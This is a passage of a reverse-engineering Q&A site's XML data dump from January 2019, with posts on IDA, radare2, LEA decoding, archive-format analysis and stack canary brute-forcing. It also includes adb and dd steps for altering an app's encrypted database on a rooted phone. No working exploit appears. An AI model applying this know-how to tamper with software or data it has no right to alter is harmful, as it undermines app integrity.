rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not very proficient with WebSockets and seeing how I've been stuck here for the past few hours I thought maybe someone here could be able to spot what I'm missing.&lt;/p&gt;&#xA;" OwnerUserId="27153" LastEditorUserId="27153" LastEditDate="2019-01-19T18:37:15.833" LastActivityDate="2019-01-19T18:37:15.833" Title="WebSocket debugging in Javascript app gives &quot;401 Unauthorized&quot;" Tags="|android|javascript|api|https-protocol|" AnswerCount="1" CommentCount="0" ClosedDate="2019-01-29T22:42:19.467" ContentLicense="CC BY-SA 4.0" />
  <row Id="20418" PostTypeId="1" CreationDate="2019-01-19T17:25:46.640" Score="1" ViewCount="830" Body="&lt;p&gt;When I looking on Ida with static analyze I see that buffer pass to function/ function fill data in buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know if this buffer allocate in stack/ heap?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="23993" LastEditDate="2019-01-19T19:57:22.600" LastActivityDate="2019-03-22T01:00:55.453" Title="How to identify if buffer allocate on stack or heap?" Tags="|ida|stack|heap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20419" PostTypeId="2" ParentId="20417" CreationDate="2019-01-19T17:57:56.530" Score="1" Body="&lt;p&gt;Ok, I figured it out. The websocket-client library I use for python writes its own Origin header by default and I was ending up with two Origin headers, which may have been tipping off the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out you can disable it by adding &lt;code&gt;supress_origin=True&lt;/code&gt; when calling connect on the WebSocket.&lt;/p&gt;&#xA;" OwnerUserId="27153" LastActivityDate="2019-01-19T17:57:56.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20420" PostTypeId="2" ParentId="20372" CreationDate="2019-01-19T18:43:05.423" Score="1" Body="&lt;p&gt;It simply means that the location of the module is inside a “system” directory (c:\windows). For example kernel32.dll is a system module and your debuggee is usually a user module.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2019-01-19T18:43:05.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20421" PostTypeId="2" ParentId="20418" CreationDate="2019-01-19T18:49:49.293" Score="1" Body="&lt;p&gt;If it's address is above or equal to the stack pointer (esp/rsp), it's on the stack&lt;br&gt;&#xA;otherwise, it's on the heap or was on a previous stack-frame (and now is out of scope and should not be used)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know but just looking at the address: if the address starts with &lt;code&gt;0x7f&lt;/code&gt;, it's on the stack.&lt;br&gt;&#xA;That might not always be right though, a program can control the value of the stack pointer and can decide to change it (not likely but feasible)&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastActivityDate="2019-01-19T18:49:49.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20422" PostTypeId="1" CreationDate="2019-01-19T19:54:36.893" Score="1" ViewCount="391" Body="&lt;p&gt;So I have an installed application on my Android phone and it stores some data in an password protected SQLite database in the /data/data//databases/ folder. I used adb shell to move the database to my PC and unlocked it, modified some data and then moved it back to it's original location. However, when I run the application it keeps crashing and throw SQLiteExceptions &quot;Couldn't open database&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the modified database and restart the application everything works fine and a new, empty database is created, as expected. But if I move that database to another location and then move it back the application crashes and give the same exceptions again, even though the database isn't modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't I move around the database without making the application unable to read it? I would really appreciate some help here!&lt;/p&gt;&#xA;" OwnerUserId="27157" LastEditorUserId="27157" LastEditDate="2019-01-22T18:41:19.687" LastActivityDate="2020-02-16T22:01:55.230" Title="Android application can't open pasted SQLite database" Tags="|android|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20423" PostTypeId="1" CreationDate="2019-01-20T06:46:03.230" Score="4" ViewCount="2178" Body="&lt;p&gt;I am trying to decompile a dylib called libConfigurer64.dylib, which is loaded from the environment variable &quot;DYLD_INSERT_LIBRARIES&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to analyze what it really does, so I dragged it in to IDA, and found that it exported &quot;_sub_06adf&quot;,&quot;_sub_06bdf&quot;,&quot;InitFunc_0&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In _sub_06adf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db 'VfhT2zwxQpLeHRL6j4Oe4mrsmrjEAW',0&#xA;align 10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In _sub_06bdf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db '(c) 2014 - Cryptic Apps SARL - Disassembling not allowed.',0&#xA;db    0&#xA;db    0&#xA;db    0&#xA;db    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They aren't correct asm code! And I have no clue what tool obfuscated this file.&lt;br&gt;&#xA;And I'm also curious about how can this dylib overwrite exisiting functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I've read &lt;a href=&quot;https://alexomara.com/blog/a-silly-anti-disassembly-trick/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://alexomara.com/blog/a-silly-anti-disassembly-trick/&lt;/a&gt;, however this dylib isn't that trick, but is really obfuscated XD&lt;/p&gt;&#xA;" OwnerUserId="27148" LastEditorUserId="27148" LastEditDate="2019-01-20T13:22:19.537" LastActivityDate="2019-09-23T23:06:17.227" Title="How to decompile a obfuscated mach-o dylib?" Tags="|deobfuscation|mach-o|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20424" PostTypeId="1" AcceptedAnswerId="20425" CreationDate="2019-01-20T13:32:16.147" Score="0" ViewCount="367" Body="&lt;p&gt;I have those opcodes on 64 bits: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 8D 35 45 CE FF FF &amp;gt;&amp;gt;&amp;gt; lea rsi, [rip - 0x31bb].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get the 0x31bb value from those opcodes and how can I know if I have a &lt;code&gt;+&lt;/code&gt; sign or a &lt;code&gt;-&lt;/code&gt; sign beetween operands ( &lt;code&gt;rip - 0x31bb&lt;/code&gt; or &lt;code&gt;rip + 0x31bb&lt;/code&gt; ) ?&lt;/p&gt;&#xA;" OwnerUserId="27166" LastEditorUserId="27166" LastEditDate="2019-01-20T14:15:28.540" LastActivityDate="2019-01-20T14:15:35.307" Title="Calculate LEA operand" Tags="|ida|assembly|decompilation|patch-reversing|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20425" PostTypeId="2" ParentId="20424" CreationDate="2019-01-20T14:15:35.307" Score="0" Body="&lt;p&gt;You can get that value from the last 4 bytes of the opcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;45 CE FF FF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to reverse the order of bytes and the the value is written as &lt;a href=&quot;https://en.wikipedia.org/wiki/Two%27s_complement&quot; rel=&quot;nofollow noreferrer&quot;&gt;2's complement&lt;/a&gt;. Since the highest bit is 1 it will be negative. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0xFFFFCE45) in 2's = -0x31BB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-01-20T14:15:35.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20426" PostTypeId="1" AcceptedAnswerId="20427" CreationDate="2019-01-20T17:35:36.663" Score="3" ViewCount="141" Body="&lt;p&gt;I can't understand the meaning of ascii-art color bars.&lt;br&gt;&#xA;what is the meaning of the &lt;code&gt;#&lt;/code&gt; charaters?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08000210]&amp;gt; iS=&#xA;00  0x08000000 |---------------------------------| 0x08000000     0 ---      &#xA;01  0x08000200 |--------------------#------------| 0x0800020d    13 rw-  .data&#xA;02* 0x08000210 |---------------------##----------| 0x08000237    39 r-x  .text&#xA;03  0x08000240 |-----------------------###-------| 0x08000272    50 ---  .shstrtab&#xA;04  0x08000280 |-------------------------#######-| 0x08000310   144 ---  .symtab&#xA;05  0x08000310 |-------------------------------##| 0x0800032a    26 ---  .strtab&#xA;06  0x08000330 |--------------------------------#| 0x08000348    24 ---  .rela.text&#xA;07  0x08000000 |###------------------------------| 0x08000040    64 rw-  ehdr&#xA;=&amp;gt;  0x08000210 |---------------------------------| 0x0800020f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24392" LastActivityDate="2019-01-20T18:56:22.123" Title="radare2 how to interpret ascii-art color bars?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20427" PostTypeId="2" ParentId="20426" CreationDate="2019-01-20T18:56:22.123" Score="2" Body="&lt;p&gt;This chart describes the different Sections and Memory Segments in your binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each row in the chart is a different section where its name is in the rightest column. From the left, you can see its start address, from the right you can see its end-address and next to it you can see the sections' size (decimal). That means, &lt;code&gt;Start-Address + Size = End-Address&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASCII bar itself is an imaginary range of addresses and the hash sign &lt;code&gt;#&lt;/code&gt; will mark where on this range the section appears. In your example, the chart begins at &lt;code&gt;0x08000000&lt;/code&gt; which is the lowest address and ends at &lt;code&gt;0x08000348&lt;/code&gt; which is the highest. The &lt;code&gt;.symtab&lt;/code&gt; is the biggest section in your example since it in size of 144. This is why it has the biggest amount of &lt;code&gt;#&lt;/code&gt; characters.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2019-01-20T18:56:22.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20428" PostTypeId="1" CreationDate="2019-01-20T20:53:25.590" Score="0" ViewCount="84" Body="&lt;p&gt;I want to build a &quot;force feedback chair&quot; for Need for Speed: Payback, so I thought about hooking the function responsible for the controller vibration and sending the motor speed parameter to a motor over Serial (to an arduino).&#xA;I successfully hooked the XInputSetState function (responsible for Controller Vibration) and sent the parameters over usb, and everything worked fine.&#xA;The problem is, I want to play the game with a Wheel (Logitech g29).&#xA;The &quot;XInputSetState&quot; function still gets called, but the motor speed parameter is always 0 (makes sense, if you have two controllers connected to your pc, only the one you're driving with vibrates not the other one).&#xA;My Wheel also has no Vibration feedback (so no function that i can hook there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my thought was, that if you for example drive against a wall, the game checks if a Controller is connected, and if it's the case, calls the XInputSetState function with the correct motor speed parameter (so the Controller vibrates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I tried setting a breakpoint on XInputSetState and moving up the Callstack, to see what function still gets called with the correct motor speed parameter (even if no Controller is present), but my knowledge with reveersing is still very limited so no luck there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would you go about looking for such a function?&#xA;Any tips and hints are welcome.&lt;/p&gt;&#xA;" OwnerUserId="27172" LastActivityDate="2019-01-21T03:14:40.677" Title="Finding &quot;controller vibration&quot; function in game" Tags="|windows|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20429" PostTypeId="2" ParentId="20428" CreationDate="2019-01-21T03:14:40.677" Score="1" Body="&lt;p&gt;I think your approach of looking up the callstack is generally sound, but might be too time consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have no doubt experienced, without debugging information it can be challenging even to piece together what the different frames are, before trying to determine if any of those functions are relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crucial function deciding whether to call the vibration logic based on the controller type might not even be on the stack if the system is built around an asynchronous event loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion would be to look into the DirectInput APIs to figure out what functions the game would call to query information about the controller. This is likely necessary for the game to decide whether it should run the vibration logic or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the game is likely querying the controller info very early (either at launch or just before entering the game from the menu), and then storing the necessary information somewhere in its memory. If you can find that, you might be able to find where in the callstack leading up to XInputSetState that memory location is being checked.&lt;/p&gt;&#xA;" OwnerUserId="27175" LastActivityDate="2019-01-21T03:14:40.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20431" PostTypeId="1" CreationDate="2019-01-21T10:06:50.520" Score="2" ViewCount="1420" Body="&lt;p&gt;I am reading &lt;a href=&quot;https://ctf101.org/binary-exploitation/stack-canaries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;brute-forcing stack canary&lt;/a&gt;. But I am confused why the server can be brute-forced one byte at a time on a crashable-server and what does mean this &lt;em&gt;fork-and-accept&lt;/em&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="27178" LastEditorUserId="53" LastEditDate="2019-01-21T10:18:51.203" LastActivityDate="2019-01-21T10:18:51.203" Title="Why stack canary can be brute-force one byte at a time?" Tags="|exploit|stack|vulnerability-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20432" PostTypeId="2" ParentId="20431" CreationDate="2019-01-21T10:16:32.277" Score="2" Body="&lt;p&gt;A common mistake, while programming a server, is to use a &lt;code&gt;fork()&lt;/code&gt; to start it and respawn it when it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with a &lt;code&gt;fork()&lt;/code&gt; is that is uses a copy of the memory to start over. Of course, using a copy means that the respawned server will be stuck with the exact same canaries even if it has been crashed and respawn. Somehow, it's memory layout and it's canaries are frozen until it is really re-run from the executable file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good way to program a server would be to systematically use an &lt;code&gt;execve()&lt;/code&gt; in place of the &lt;code&gt;fork()&lt;/code&gt;. This ensure that the memory start from scratch an re-initialize all the memory settings (ASLR, canaries, and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, indeed, most of the servers in the wild are using an &lt;code&gt;execve()&lt;/code&gt;, we can only find &lt;code&gt;fork()&lt;/code&gt; on old implementations or on educational security challenges.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-01-21T10:16:32.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20434" PostTypeId="1" CreationDate="2019-01-21T16:19:56.893" Score="1" ViewCount="1535" Body="&lt;p&gt;In gdb i can backtrace with core file and executable file.&lt;br&gt;&#xA;It seems radare2 can read core file. like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 core&#xA;Setting up coredump: asm.arch &amp;lt;-&amp;gt; x86 and asm.bits &amp;lt;-&amp;gt; 64&#xA;Setting up coredump: Registers have been set&#xA;Setting up coredump: 22 maps have been found and created&#xA;[0x00000000]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but after that i don't know what to do next?&lt;br&gt;&#xA;I can't find any documentation about using core file in radare2. &lt;/p&gt;&#xA;" OwnerUserId="24392" LastActivityDate="2021-02-10T02:03:00.413" Title="how to use core file in radare2?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20436" PostTypeId="1" AcceptedAnswerId="20439" CreationDate="2019-01-21T18:14:48.093" Score="1" ViewCount="6418" Body="&lt;p&gt;I need some help and advice here.&#xA;I am privately learning on how to reverse engineer&#xA;our teachers custom file archive&#xA;file that have other files stored inside of them. &#xA;for school project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I am kinda lost on where I need to start with the file.&#xA;What do I look for in the file after loading it into ida-pro&#xA;To, be able to create my own self extracting Tool for my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The File format is .crackme that has been compressed with files inside of it&#xA;from our teacher at school but when I double click on the file it says the file is &quot;archive either unknown format or damaged&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yeah the file extension he gave us is not any known on the web &#xA;he created his own extension for us to crack it and make an extractor tool&#xA;to get all the data from the archive his extension name is &quot;.crackme&quot; &#xA;so yeah.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Advice, here any help to is much appreciated by me.&lt;/p&gt;&#xA;" OwnerUserId="27184" LastEditorUserId="2147" LastEditDate="2019-01-22T11:28:38.453" LastActivityDate="2019-01-22T11:32:50.790" Title="Extracting the contents of an unknown archive file format" Tags="|file-format|decompress|binary-diagnosis|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20437" PostTypeId="2" ParentId="20434" CreationDate="2019-01-21T21:37:55.407" Score="1" Body="&lt;p&gt;It's more regular programming question than RE. Core dump file is a state of the process when the file was created (usually due to a crash) so debugger commands are the most suitable in such case. In Radare2 those are the ones from &lt;code&gt;d?&lt;/code&gt; category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: d   # Debug commands&#xA;| db[?]                    Breakpoints commands&#xA;| dbt[?]                   Display backtrace based on dbg.btdepth and dbg.btalgo&#xA;| dc[?]                    Continue execution&#xA;| dd[?]                    File descriptors (!fd in r1)&#xA;| de[-sc] [perm] [rm] [e]  Debug with ESIL (see de?)&#xA;| dg &amp;lt;file&amp;gt;                Generate a core-file (WIP)&#xA;| dH [handler]             Transplant process to a new handler&#xA;| di[?]                    Show debugger backend information (See dh)&#xA;| dk[?]                    List, send, get, set, signal handlers of child&#xA;| dL[?]                    List or set debugger handler&#xA;| dm[?]                    Show memory maps&#xA;| do[?]                    Open process (reload, alias for 'oo')&#xA;| doo[args]                Reopen in debugger mode with args (alias for 'ood')&#xA;| dp[?]                    List, attach to process or thread id&#xA;| dr[?]                    Cpu registers&#xA;| ds[?]                    Step, over, source line&#xA;| dt[?]                    Display instruction traces (dtr=reset)&#xA;| dw &amp;lt;pid&amp;gt;                 Block prompt until pid dies&#xA;| dx[?]                    Inject and run code on target process (See gs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get values of registers when coredump was created by issuing &lt;code&gt;dr&lt;/code&gt; command or show the backtrace by one of the &lt;code&gt;dbt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;but after that i don't know what to do next?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are the next steps are really dependent on your case - what you want to obtain from this dump.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can't find any documentation about using core file in radare2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably this is not the most used function in r2 ;)&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-01-21T21:37:55.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20438" PostTypeId="2" ParentId="20436" CreationDate="2019-01-22T05:49:30.393" Score="0" Body="&lt;p&gt;Many archive formats contain headers. gzip headers for instance begin with &lt;code&gt;1f 8b&lt;/code&gt;. Use a hex-editor to check for known magic numbers in the header first.&lt;/p&gt;&#xA;" OwnerUserId="11818" LastActivityDate="2019-01-22T05:49:30.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20439" PostTypeId="2" ParentId="20436" CreationDate="2019-01-22T11:25:43.430" Score="5" Body="&lt;p&gt;I hope you'll find your experience in RE.SE enjoyable and educating :)&#xA;Reverse engineering is often studied as a hobby, so you're in good company! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA pro is a disassembler, which is focused on reverse engineering / reading assembly/machine code. that is - the code actually executed by the CPU. Since it appears you were only given a &lt;em&gt;format&lt;/em&gt; file, without any executable code to manipulate / process the file, IDA will prove less useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the only tool you should require for such a task, assuming the format is indeed proprietary, is a hex-editor / reader. &lt;a href=&quot;https://www.sweetscape.com/010editor/&quot; rel=&quot;noreferrer&quot;&gt;010 Editor&lt;/a&gt; is a great one, and it has a trial version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To eliminate the possibility of a known format, try running a couple file identification tools such as the linux &lt;code&gt;file&lt;/code&gt; command, &lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot; rel=&quot;noreferrer&quot;&gt;TrID&lt;/a&gt;, &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;noreferrer&quot;&gt;binwalk&lt;/a&gt;, etc. These will try to identify common file formats (binwalk is specifically focused on archive formats), which if provide any insights should point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reverse engineer a file format solely based on a single file content, you'll need to map out the the file's apparent structure and you don't have a lot to go with. Excluding textual and very simply file formats, this should be kinda difficult without any additional resources (more files, a program that handles the format in any way, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of pointers/tips, although you'll probably find more information available online:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As most files begin with a header, you should begin with mapping what are the different members of the header structure.&lt;/li&gt;&#xA;&lt;li&gt;Things that are magic values, strings, offsets and sizes are quite easy to recognize. Most decent hex editors will show different representations of every few bytes, so it'll be easy to recognize. &lt;/li&gt;&#xA;&lt;li&gt;Start by dividing the bytes to different members, before you try to understand their meaning. For example, given the following hex stream: &lt;code&gt;00 05 00 00 00 01 BE F1 CA D7&lt;/code&gt; it is easy to notice the members are a word (2 bytes), a dword (4 bytes) and another dword. It is also likely that the first two are integers while the third is either a magic value or a CRC.&lt;/li&gt;&#xA;&lt;li&gt;If the file has any recurring delimiter values, those should also be easily identifiable (although less likely to be present in an active file format).&lt;/li&gt;&#xA;&lt;li&gt;If you manage to recognize any other file headers (probably using their own magic values), those are good leads to figuring out where the actual file content is placed. This will also mean the archive file does not compress the contained files, linux's tar, for example, can do that. Alternatively, if you encounter long streams of smooth or random looking binary streams those can be the actual compressed data. I tend to believe your teacher did not invent he's own compression algorithm, so there you'll need to find similarities to other compression algorithms, perhaps running those streams under TrID and file again could help.&lt;/li&gt;&#xA;&lt;li&gt;Common looking patterns, for example, may be a useful way to uncover recurring structures (for which you'll have more than one reference point, yay!). For example, if you recognize every file-name string is followed by a sequence of bytes with a similar structure, those are probably two instances of the same structure. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-01-22T11:32:50.790" LastActivityDate="2019-01-22T11:32:50.790" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20441" PostTypeId="1" AcceptedAnswerId="20444" CreationDate="2019-01-22T17:53:02.767" Score="0" ViewCount="95" Body="&lt;p&gt;Sorry if this is a duplicate and please point me in the right direction if so.  I have a strong foundation in C programming and I know how memory is allocated on the stack for variables/arrays/pointers (of all datatypes) etc.  I also understand how to use malloc and free to put data on the heap.  What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to.  I am trying to learn this before I start messing with GDB so I actually know what I am looking at.  Any good references out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately this is so I can do a project for my masters where I need to run shellcode by exploiting a buffer overflow vulnerability in a given program.  I know how to do a basic buffer overflow by feeding the program more data than allocated but I don't know what/how much data I need to feed the program so that it gets put at the right place in memory in order to execute what is required.&lt;/p&gt;&#xA;" OwnerDisplayName="user4466" LastActivityDate="2019-01-22T23:18:19.280" Title="What is a good resource to learn about how the call stack works while programming in C?" Tags="|gdb|memory|stack|register|callstack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20442" PostTypeId="2" ParentId="20422" CreationDate="2019-01-22T18:41:37.790" Score="2" Body="&lt;p&gt;I managed to solve it and I will write it here so that it hopefully can help someone more facing the same issue. &#xA;A more detailed description of the problem:&#xA;On my rooted Galaxy S5 I had an application installed which had a encrypted SQLite database in the /data/data//database/ folder. If I moved the database outside of the /data/ and then pasted it back into it's original location the app would crash instantly on start up, and I still don't know why (I didn't change anything in the file itself and i restored the original file permissions and ownerships since they had automatically(?) been altered during the move) but the app would still crash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution (and I don't really know why it works) would be to use the dd command to make a copy of the database, use adb to pull that copy to my PC, edit it with DB Browser for SQLite and then push that manipulated copy back into /data/data//database and lastly use dd to copy the content of the manipulated database into the original database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step by step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=database of=database_copy&#xA;adb pull /data/data/&amp;lt;package-name&amp;gt;/database/database_copy&#xA;[Edit and then save the database_copy]&#xA;adb push database_copy /data/data/&amp;lt;package-name&amp;gt;/database/&#xA;dd if=database_copy of=database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats it! The app starts fine this time and reads the database with my own values!&lt;/p&gt;&#xA;" OwnerUserId="27157" LastActivityDate="2019-01-22T18:41:37.790" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20444" PostTypeId="2" ParentId="20441" CreationDate="2019-01-22T23:18:19.280" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's great that you are competent in C, but there is no way around reading disassembled object code and writing assembly code (practical experience).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compiler toolchain is responsible for generating object code that targets a particular CPU. This means that it is the compiler that is responsible for managing all of the registers based on details such as process layout in memory (which is OS-specific), calling convention, optimization level, application binary interface (also OS-specific), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You did not give any information about the environment you are working in aside from mentioning GDB, so I am guessing you are going to be doing Linux x86 binary exploitation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A good theoretical foundation for understanding the stack is provided by Chapter 8 &quot;Subroutines and Control Abstraction&quot; in &lt;em&gt;Programming Language Pragmatics&lt;/em&gt; by Michael L. Scott.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A good practical introduction to Linux x86 stack structure and management is provided in section 3.7 &quot;Procedures&quot; in &lt;em&gt;Computer Systems: A Programmer's Perspective&lt;/em&gt; by Bryant and O'Hallaron.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lastly, there is the following Q&amp;amp;A regarding the stack over at the CS.SE site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cs.stackexchange.com/questions/76871/how-are-variables-stored-in-and-retrieved-from-the-program-stack&quot;&gt;How are variables stored in and retrieved from the program stack?&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-01-22T23:18:19.280" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20447" PostTypeId="1" CreationDate="2019-01-23T08:06:13.643" Score="0" ViewCount="815" Body="&lt;p&gt;I want to debug a Linux program (ELF), but my IDA Pro is on a Windows 10 VM and I want to use remote debugging to debug the program on Ubuntu (also in a VM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible to debug if both machines are VMs?&lt;/p&gt;&#xA;" OwnerUserId="27201" LastEditorUserId="245" LastEditDate="2019-01-23T19:47:11.090" LastActivityDate="2019-01-25T15:03:35.690" Title="Remote debugger for Linux from one VM (IDA) to another (running the debuggee)" Tags="|ida|windows|debugging|linux|remote|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20450" PostTypeId="1" CreationDate="2019-01-23T11:32:55.703" Score="1" ViewCount="298" Body="&lt;p&gt;I'm relatively new to reverse engineering, and I've decided to practise using the challenges from pwnable.tw. Currently, I am working on the &lt;a href=&quot;https://pwnable.tw/challenge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Silver Bullet&quot; challenge&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While testing, I have noticed that if the program is run and the user selects option 4, then the program crashes with a segfault instead of exiting cleanly. Testing in GDB confirms that this happens during the &quot;call exit&quot; instruction at 0x08048954.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the manpage for exit, I can see that undefined behaviour can occur in certain circumstances when functions are registered with atexit(3) or on_exit(3). However, I can't see any functions being registered in this way, and I can't see any other way which exit would fail to execute successfully. Why is a segfault happening during the exit call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, the surrounding code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080489F1: &#xA;push    offset aDonTGiveUp ; &quot;Don't give up !&quot;&#xA;call    puts&#xA;add     esp, 4&#xA;push    0&#xA;call    exit&#xA;push    offset aInvalidChoice ; &quot;Invalid choice&quot;&#xA;call    puts&#xA;add     esp, 4&#xA;nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for taking the time to read this.&lt;/p&gt;&#xA;" OwnerUserId="27205" LastActivityDate="2019-01-23T11:32:55.703" Title="How can a segfault happen during the libc exit call on Linux?" Tags="|assembly|binary-analysis|x86|gdb|libc|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
